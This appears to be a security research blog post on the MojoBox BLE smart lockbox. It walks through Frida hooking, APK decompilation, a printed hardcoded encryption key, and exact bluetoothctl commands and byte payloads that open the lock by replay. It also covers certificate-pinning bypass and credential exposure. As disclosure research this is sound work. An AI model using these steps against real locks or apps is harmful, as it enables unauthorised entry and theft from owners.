MojoBox: Yet-Another Not-So-SmartLock

Authors: Matteo Mandolini & Luca Bongiorni

Recently Luca came across MojoLock which is a "digital lockbox focused on smart access". On February 26 a vulnerability was reported by LockPickingLawyer showing how this lockbox could be easily opened with a slap! This vulnerability was promptly fixed by the company and a firmware upgrade was already available the day after the video was released.

This whole situation alerted the spidey sense of Luca, who immediately obtained the device with the intention of performing further analysis. Before testing the hardware part, he passed it to me (Matteo) to investigate the attack surface related to the mobile application and the Bluetooth Low Energy functions.

It turns out Luca's senses were right, MojoBox is vulnerable to replay attack via BLE: this means we can sniff the BLE traffic, steal the packets information and replicate them to have access to the box. Moreover, the app suffers from issues like hardcoded credentials, unobfuscated code and others.

Intercepting BLE requests with Frida

First step, I decided to use Frida to monitor the type of information that was being sent when the lockbox was opened through the Android app.

To do this, I used blemon, a useful Frida script for hooking any overridden instance methods of the android.bluetooth.BluetoothGattCallback class.

With the Frida server up and running on my rooted Android device, I just had to execute the following command:

frida -U -l blemon.js "MojoLock"

Upon clicking two times the "Open" button on the app, I obtained the following result:

At this point, it was clear that the exchanged packets were undergoing some type of encryption and most likely could not be reused (and I was wrong). This discovery prompted me to continue analyzing the APK in search of an encryption function to exploit.

APK static analysis

For the static analysis part, I started by downloading the APK from my device using adb. It's convenient to take note of the app package reference found in the Google Play Store URL to easily locate the APK in the phone's file-system. Once the package name is found, you can simply execute the following commands to obtain the APK:

adb shell pm path com.mojolock.app

adb pull <result_of_previous_command>

Once the APK is obtained, we decompile it as follows:

apktool d mojolock.apk

and begin inspecting the code using jadx-gui. The cool thing is that at this point we already know where to look, infact blemon told us that the BluetoothGattCallback was called from com.reactlibraryzealinglock.controllers.ZealingController

Another interesting fact is that the app is not obfuscated, therefore the code is really easy to read, infact we can see that ZealingController is using com.reactlibraryzealinglock.controllers.utils.TeaUtil as a utility class. This class contains the encryption key,

private static final int[] KEY = {-2062458830, 1377052040, 910521121, -1792593385};

the openLock and encrypt function. We have almost everything we need to build our own app to generate legit packets, know we only need the input of the openLock function.

For this task Frida will help us again, with the following script I could intercept the openLock inputs

Java.perform(function() {
var TeaUtil = Java.use("com.reactlibraryzealinglock.controllers.utils.TeaUtil");
TeaUtil.openLock.implementation = function(str, z, str2, b) {
console.log("openLock input: str=" + str + ", z=" + z + ", str2=" + str2 + ", b=" + b);
var result = this.openLock(str, z, str2, b);
return result;
}
});
obtaining the following result:

openLock input: str=unknown_MAC_address_redacted, z=true, str2=1678565356261, b=1

as we can see the str parameter is an (at the moment) unknown MAC address, z and b are fixed and str2 is the current epoch time. Everything suggested that the package was indeed dependent on the epoch time and could not be reused at later points in time after the first use (wrong assumption again).

At this point, I had everything I needed to reconstruct, through a Java app, encrypted packets that would send the signal to open the MojoBox. To do this, I reused all the code from the application and imported the same libraries used by the app into my new project. Except for the android.text.format.Time which was replaced by java.time.LocalDateTime, which required some minor modifications to the way information on the date was derived from the epoch time.

The result seemed ok, but I needed some more understanding of how the packet needed to be sent to the MojoBox. It was time to dig deeper.

Sniffing BLE packets with nRF52840 dongle

At this link you can find all the information needed to install the nRF Sniffer software on the nRF52840 dongle. Once up and running, we can start seeing BLE packets going around in Wireshark.

These two great tools show us something really interesting: as we can see from the screenshot above, after all the GATT discovery process, the original app sends a Write Request on handle 0x0011 and only after that it sends a Write Command on handle 0x000e containing the actual payload. We need to replicate this behavior to interact with the MojoBox.

Cracking Open the MojoBox over BLE

For this step I used my RaspberryPi and bluetoothctl as a BLE client.

bluetoothctl

[bluetooth]# scan on

[NEW] Device DF:10:10:02:35:16 MojoBox-023516

[bluetooth]# scan off

Discovery stopped

[bluetooth]# connect DF:10:10:02:35:16

at this point the tools gives us the list of characteristics but, from our previous investigations, we know that we are interested in just two of them:

As we have seen from wireshark we have to make a Write Request, in this case this means that we have to enable notifications on the characteristic ff02

[MojoBox-023516]# gatt.select-attribute ff02

[MojoBox-023516:/service000c/char000f]# gatt.notify on

[CHG] Attribute /org/bluez/hci0/dev_DF_10_10_02_35_16/service000c/char000f Notifying: yes

Notify started

Now we generate a new valid encrypted packet with our Java application and send it to the MojoBox. Note that we have to split the command in two requests, the first one is 20 Bytes and the second one is 9Bytes.

[MojoBox-023516:/service000c/char000d]# gatt.write "0x68 0x01 0x18 0x28 0xFC 0x08 0xE5 0xB9 0xDA 0xDB 0xCE 0x21 0x62 0x1B 0x2A 0xF9 0xBE 0xFB 0x1E 0xE9"

Attempting to write /org/bluez/hci0/dev_DF_10_10_02_35_16/service000c/char000d

[MojoBox-023516:/service000c/char000d]# gatt.write "0xA0 0x13 0xEE 0x11 0x94 0x31 0x7D 0xDB 0x16"

Attempting to write /org/bluez/hci0/dev_DF_10_10_02_35_16/service000c/char000d

And voilà, the lock opens!

That’s not it! We can also send the same packet multiple times, confirming that MojoBox is vulnerable to replay attack. The oldest valid packet I tried is almost one week old and still does its job!

Downloading MojoBox firmware for future analysis

In the resources folder of the decompiled APK we can find the file index.bundle.android, a file generated by React Native, a framework for developing cross-platform mobile applications using JavaScript and React. This file contains the JavaScript source code of the mobile app along with the information for downloading the firmware file for the firmware upgrade of MojoBox.

Specifically, we are interested in the following function:

We just need some values to download the firmware: _user_email_ (the same we use for log in) and _user_token_ & _user_token_ that we still have to find.

Let's bypass the certificate pinning with Frida and intercept some requests with BurpSuite to find the missing parameters. I used this Frida script for certificate unpinning.

One of the first requests made by the app already gives us what we're looking for:

With auid being the unknown mac address we found as the input for the openLock function. This means that we cannot create new valid encrypted packets without knowing this information, which obviously will be different for every device.

At this point we can write a simple python script to download the firmware

From a first look at the firmware not much can be said, however finding strings like the one in the image below, which refers to a UART interface, bodes well for further hardware analysis.

Future work: it would be interesting to further investigate the firmware especially to reverse engineer the decryption functions and to understand how the temporary codes (requested by the mobile app, generated by the server and accepted by MojoBox) are handled.

Bonus chapter – No need to sniff

The mobile app contains multiple debugging messages as we can see from the image below

This means that if an attacker has physical access to the device where the app is installed, He/She can access the app logs via adb without being root.

As we already know the data we read after “WRITE SUCCESS” can be used to open the MojoBox as many times as we want.

Moreover, we could find username and password stored in an unencrypted Sqlite database, which is not a good idea.

As a final consideration, it seems that the user_code parameter, that we already saw being sent in a GET request while intercepting the requests with Burp, never changes and is the only parameter needed, along with the user email, to retrieve all users’ information. Sending such a critical information about the user through GET request is obviously considered a bad practice.

Hardware Analysis

To analyze the MojoBox hardware from a security perspective, we first conducted some passive recon to realize what kind of components we would need to interact with. The information from the FCC database gave us an initial idea. We then opened the device and found the following chipset

It is from a company called Pixart and not very common. We found a similar one here https://www.pixart.com/products-detail/87/PAR2801QN-GHVC . As we can see from the table on this tech brochure, the MCU can handle many peripherals interfaces:

So we connected to the UART interface that we found on the PCB and then tried to intercept traffic using a Logic Analyzer.

Turning off and on the and interacting with the device through the mobile app did not trigger the output of meaningful information as shown in the image below

At this point we started to analyze the EEPROM which uses the I2C protocol to communicate with the CPU. We unsoldered it from the PCB and used a CH341A chip to analyze its content.

Inside this memory flash we found what appears to be an access list with our pincode and all the temporary pincodes we used. Having this information in plain text is definitely not a best practice, however considering the difficulty to access the I2C flash (i.e. first need to open the lock and then unscrew the PCB from the case), it can be rated as a minor issue.

Conclusions

It is never a good idea to reinvent the wheel: The Security Manager (SM) and Generic Access Profile (GAP) levels of the BLE core specification specify rules and algorithms to allow secure connections.
Always follow code best practices and code review
Security is a process not a product, therefore it must be applied in each phase of the life cycle of a product.

Stay tuned for future works. Thank you!

WHID's Trainings

The Offensive Hardware Hacking Training is a Self-Paced training including Videos, a printed Workbook and a cool Hardware Hacking Kit. And… you get everything shipped home Worldwide!
For more info… ➡ https://www.whid.ninja/store

WHID - We Hack In Disguise